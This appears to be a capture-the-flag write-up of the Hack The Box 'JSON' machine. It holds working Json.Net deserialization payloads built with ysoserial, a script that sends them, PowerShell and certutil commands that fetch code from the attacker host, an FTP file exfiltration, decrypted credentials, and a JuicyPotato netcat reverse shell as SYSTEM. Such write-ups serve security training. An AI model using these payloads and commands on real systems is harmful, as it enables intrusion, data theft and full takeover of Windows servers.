As always, first an nmap scan
root @ kali: ~ / htb / json # nmap -sV 10.10.10.158
Starting Nmap 7.80 (https://nmap.org) at 2020-01-13 03:59 EST
Nmap scan report for 10.10.10.158
Host is up (0.077s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
21 / tcp open ftp FileZilla ftpd
80 / tcp open http Microsoft IIS httpd 8.5
135 / tcp open msrpc Microsoft Windows RPC
139 / tcp open netbios-ssn Microsoft Windows netbios-ssn
445 / tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152 / tcp open msrpc Microsoft Windows RPC
49153 / tcp open msrpc Microsoft Windows RPC
49154 / tcp open msrpc Microsoft Windows RPC
49155 / tcp open msrpc Microsoft Windows RPC
49156 / tcp open msrpc Microsoft Windows RPC
49157 / tcp open msrpc Microsoft Windows RPC
49158 / tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe: / o: microsoft: windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 62.63 seconds
The initial analysis of the ftp, smb and powershell ports turned out to be not very helpful, so I continued with the web pages.
The web page showed a login screen, but a simple guess with Admin: Admin as username / password combination let me in.
After analyzing all requests in Burpsuite, the request on / api / Account stood out because the name of the box is JSON and this is the only request with a JSON response. I looked closely at the request in Burp and noticed that it had an OAuth2 cookie and a Bearer token, so I kept concentrating on that using Curl.
c: \ PENTEST> curl -XGET http://10.10.10.158/api/Account
{"Message": "Authorization has been denied for this request."}
c: \ PENTEST> curl -XGET http://10.10.10.158 / api / Account --header "Cookie: OAuth2 = eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0 =" --header "Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0 ="
{ "id": 1, "UserName", "admin", "password", "21232f297a57a5a743894a0e4a801fc3", "Name" : "User Admin HTB", "Role": "Administrator"}
If I repeat the request with Curl, I get a JSON string back with an ID, the username, a password and some other stuff. So let’s take a closer look at that “Bearer string”.
root @ kali: ~ / htb / json # echo -n eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0 = | base64 -d
{"Id": 1, "UserName": "admin", "Password": "21232f297a57a5a743894a0e4a801fc3", "Name": "User Admin HTB", "Role": "Administrator"}
Apparently, the value contains exactly the same that is returned. But what happens if I change the ID value (integer) to a string value.
root@kali:~/htb/json
SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y
root@kali:~/htb/json
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}r
So it gives an error because it cannot deserialize a Json.Net object. After some searching I came across this document here it is specifically stated that this is not a JSON vulnerability but a Deserialization vulnerability, After looking a bit more, they specifically mention that Json.Net is also vulnerable. Apparently it should be possible to inject code if you have control over the Type value of the Serialized object. I started a python web server to host a custom nishang Powershell script as Ippsec shows in several videos
root@kali:~/JSON
root@kalivm:~/JSON
root@kali:~/JSON
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
After that changed, I started creating the required Json.net payloads, as specifically stated in the Breeze demo of the Blackhat Talk.
see below the rce “proof of concept” with burp and ysoserial.exe and tcpdump
c: \ PENTEST \ ysoserial> ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.16.70" -t
{
'$ type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35',
'MethodName': 'Start',
"MethodParameters": {
'$ type': 'System.Collections.ArrayList, mscorlib, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
'$ values': ['cmd', '/ c ping 10.10.16.70']
},
'ObjectInstance': {'$ type': 'System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089'}
}
c: \ PENTEST \ ysoserial>
While I was messing around with this stuff, I got tired of having to encode the payloads base64 and then resend it, so I decided to create a simple python script to do that for me.
root @ kali: ~ / htb / json # cat htb-json.py
#! / usr / bin / env python3
from base64 import b64decode, b64encode
import requests
import argparse
parser = argparse.ArgumentParser (description = 'pass the attack script.')
parser.add_argument ("- s", '--script', required = True,
help = 'script to process for the attack')
args = parser.parse_args ()
admin_token = "eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0 ="
# Base64 encode the provided payload file
def create_payload (package):
payload = open (package, 'rb'). read ()
return b64encode (payload) .decode ('UTF-8')
#Send the payload file
print ("Sending payload:", args.script)
requests.get ('http://10.10.10.158/api/Account',
headers = {
'Cookie': 'OAuth2 =' + admin_token,
'Bearer': create_payload (args.script)
})
Quite a bit of a hassle later, I finally got the first load that PowerShell uses to invoke a request to transfer the modified PowerShell Reverse shell.
root@kali:~/htb/json
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c powershell Invoke-WebRequest -Uri "http://10.10.16.70:8000/puckieshell443.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
root@kali:~/htb/json
Sending payload: getPS1.plain
And in the python web server shell I see the incoming GET request from the JSON box for the reverse.ps1 file.
root @ kali: ~ / htb # python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.158 - - [13 / Jan / 2020 03:04:51] "GET /puckieshell443.ps1 HTTP / 1.1" 200 -
The next step is to complete the object file that the PowerShell script calls, and after some hassle with that file I came across the following lines of code:
root @ kali: ~ / htb / json # cat execPS1.plain
{
'$ type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35',
'MethodName': 'Start',
"MethodParameters": {
'$ type': 'System.Collections.ArrayList, mscorlib, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',
'$ values': ['cmd', '/ c powershell c: \\ windows \\ temp \\ sedje.ps1']
},
'ObjectInstance': {'$ type': 'System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089'}
}
And in the Terminal while the netcat listener waits for a while, I see …
root @ kali: ~ / htb # rlwrap nc -nvvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.158] 49275
Windows PowerShell running as user JSON $ on JSON
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C: \ windows \ system32 \ inetsrv>
Yes, I have a shell The next thing to do is look who I am and capture the user’s flag!
PS C:\windows\system32\inetsrv> whoami
json\userpool
PS C:\windows\system32\inetsrv> Get-Content c:\Users\userpool\Desktop\user.txt
34459a01f50050dc410db09bfb9f52bb34459a01
Additional note
I received feedback that the command I used in the payload could have been even simpler. Instead of the ‘cmd’ and ‘/ c’ approvals, the following would have been just as simple.
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['powershell','Invoke-WebRequest -Uri "http://10.10.16.70:8000/reverse.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Privilege Escalation
After poking around and performing general PrivEsc actions, I find an interesting file in a Sync2FTP directory
PS C:\Program Files\Sync2Ftp> type SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
The file appears to contain a username, password that looks like a base64 string and a security key. Decoding the base64 strings brought me some unreadable stuff so I decided to run the SyncLocation.exe file and it ran without any issues. Since the .exe file is likely to use the .config file, I copy both files to a writable folder so that I can transfer them out of the box for further analysis.
C:\Program Files\Sync2Ftp> mkdir c:\windows\temp\sedje
Directory: C:\windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 10/5/2019 9:08 PM sedje
PS C:\Program Files\Sync2Ftp> cd c:\windows\temp\sedje
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe" .
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe.config" .
Now that those files are ready, I have to start a local FTP server to catch the files. Python can easily do this using the pyftpdlib library.
root@kalivm:~/JSON
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2019-10-05 21:15:22] >>> starting FTP server on 0.0.0.0:21, pid=10105 < <<
[I 2019-10-05 21:15:22] concurrency model: async
[I 2019-10-05 21:15:22] masquerade (NAT) address: None
[I 2019-10-05 21:15:22] passive ports: None
In the Windows box, I create an ftp script and transfer the files to my local computer.
PS C: \ windows \ temp \ sedje> dir
Directory: C: \ windows \ temp \ sedje
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 5/23/2019 2:48 PM 9728 SyncLocation.exe
-a --- 5/23/2019 3:08 PM 591 SyncLocation.exe.config
PS C: \ windows \ temp \ sedje> echo "open 10.10.16.70"> ftp
PS C: \ windows \ temp \ sedje> echo "anonymous" >> ftp
PS C: \ windows \ temp \ sedje> echo ""> > ftp
PS C: \ windows \ temp \ sedje> echo "put SyncLocation.exe" >> ftp
PS C: \ windows \ temp \ sedje> echo "put SyncLocation.exe.config" >> ftp
PS C: \ windows \ temp \ sedje> echo "quit" >> ftp
PS C: \ windows \ temp \ sedje> ftp -s: ftp
ftp> open 10.10.16.70
Connected to 10.10.16.70.
220 pyftpdlib 1.5.4 ready.
User (10.10.16.70:(none)):
331 Username ok, send password.
230 Login successful.
ftp> put SyncLocation.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 9728 bytes sent in 0.16Seconds 62.36Kbytes / sec.
ftp> put SyncLocation.exe.config
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 591 bytes sent in 0.01Seconds 39.40Kbytes / sec.
ftp> quit
221 Goodbye.
PS C: \ windows \ temp \ sedje>
So the FTP script says the files are being transferred. Time to check the FTP server for the same.
root @ kali: ~ / htb / json # python -m pyftpdlib -p 21 -w
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2020-01-13 05:33:01] >>> starting FTP server on 0.0.0.0:21, pid = 3848 <<<
[I 2020-01-13 05:33:01] concurrency model: async
[I 2020-01-13 05:33:01] masquerade (NAT) address: None
[I 2020-01-13 05:33:01] passive ports: None
[I 2020-01-13 05:35:07] 10.10.10.158:49859- [] FTP session opened (connect)
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[anonymous] USER 'anonymous' logged in.
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[anonymous] STOR /root/htb/json/SyncLocation.exe completed = 1 bytes = 9728 seconds = 0.28
[I 2020-01-13 05:35:08] 10.10.10.158:49859-[anonymous] STOR /root/htb/json/SyncLocation.exe.config completed = 1 bytes = 591 seconds = 0.14
[I 2020-01-13 05:35:08] 10.10.10.158:49859-[anonymous] FTP session closed (disconnect).
^ C [I 2020-01-13 05:37:28] received interrupt signal
[I 2020-01-13 05:37:28] >>> shutting down FTP server (1 active socket fds) <<<
root @ kali: ~ / htb / json # ls
execPS1.plain htb-json nmap-json.gnmap nmap-json.xml SyncLocation.exe.config
getPS1.plain htb-json.py nmap-json.nmap SyncLocation.exe
After the files are transferred, I transfer them to a local Windows VM, because it's easier than analyzing on Linux. I open .exe in dnspy.
In the binary, there is a clearly readable Decrypt () function that needs a key and a value to decode the base64 encoded strings. Since I'm not very good with .net stuff, I look for a simple solution online.
I find that solution in dotnetfiddle, an online tool that can run dotnet code. After modifying the code by adding the key and calling the function twice with the base64 string in it, I get the results.
Username: superadmin
Password: funnyhtb
Now there are still several places where I can try these login details. After some hassle with PowerShell privilege escalation, I got a hint that I should try a different path and try the FTP server.
c:\PENTEST>ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
202 UTF8 mode is always enabled. No need to send this command.
User (10.10.10.158:(none)): superadmin
331 Password required for superadmin
Password:
230 Logged onroot@kalivm:~/~
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): superadmin
331 Password required for superadmin
Password:
230 Logged on
Remote system type is UNIX.
Bingo! Logged in to the FTP server, all that was left to do is check the desktop for the flag and get it!
ftp> dir Desktop
200 Port command successful
150 Opening data channel for directory listing of "/Desktop"
-r--r--r-- 1 ftp ftp 282 May 22 2019 desktop.ini
-r--r--r-- 1 ftp ftp 32 May 22 2019 root.txt
226 Successfully transferred "/Desktop"
ftp> get Desktop/root.txt ./root.txt
local: ./root.txt remote: Desktop/root.txt
200 Port command successful
150 Opening data channel for file download from server of "/Desktop/root.txt"
226 Successfully transferred "/Desktop/root.txt"
32 bytes received in 0.00 secs (223.2143 kB/s)
ftp> 221 Goodbye
root@kali:~/JSON
3cc85d1bed2ee84af4074101b991d441
Also the juicypotato way to escalate to root!
When running systeminfo I saw it was a Windows Server 2012 Datacenter, it is most likely vulnerable to JuicyPotato.
So I uploaded the exploit, and searched http://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter/ for a CLSID with NT
AUTHORITY \ SYSTEM permission, and run this nc.exe:
PS C: \ windows \ temp \ sedje> whoami / priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ===================== ==================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C: \ windows \ temp \ sedje> certutil -urlcache -split -f http://10.10.16.70/nc.exe C: \ users \ userpool \ Downloads \ nc.exe
**** Online ****
0000 ...
6th
CertUtil: -URLCache command completed successfully.
PS C: \ windows \ temp \ sedje> certutil -urlcache -split -f http://10.10.16.70/juicypotato.exe C: \ users \ userpool \ Downloads \ juicypotato.exe
**** Online ****
000000 ...
054e00
CertUtil: -URLCache command completed successfully.
PS C: \ windows \ temp \ sedje> cd C: \ users \ userpool \ Downloads \
PS C: \ users \ userpool \ Downloads> . \ JuicyPotato.exe -l 1337 -pc: \ windows \ system32 \ cmd.exe - a "/ c C: \ users \ userpool \ Downloads \ nc.exe 10.10.16.70 53 -e cmd.exe" -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 1337
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334}; NT AUTHORITY \ SYSTEM
[+] CreateProcessWithTokenW OK
PS C: \ users \ userpool \ Downloads>
root @ kali: ~ / htb # python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [13 / Jan / 2020 05:58:01] "GET /nc.exe HTTP / 1.1" 200 -
10.10.10.158 - - [13 / Jan / 2020 05:58:01] "GET /nc.exe HTTP / 1.1" 200 -
10.10.10.158 - - [13 / Jan / 2020 05:58:16] "GET /juicypotato.exe HTTP / 1.1" 200 -
10.10.10.158 - - [13 / Jan / 2020 05:58:17] "GET /juicypotato.exe HTTP / 1.1" 200 -
root @ kali: ~ / htb / json # rlwrap nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.158] 49972
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C: \ Windows \ system32> whoami
whoami
nt authority \ system
C: \ Windows \ system32>
files used: https://github.com/puckiestyle/python/blob/master/htb-json.py
https://github.com/puckiestyle/pentest/blob/master/ysoserial.zip
https://github.com/puckiestyle/pentest/blob/master/juicypotato.exe
https://github.com/pwntester/ysoserial.net
root = 3cc85d1bed2ee84af4074101b991d441
Author: Puckiestyle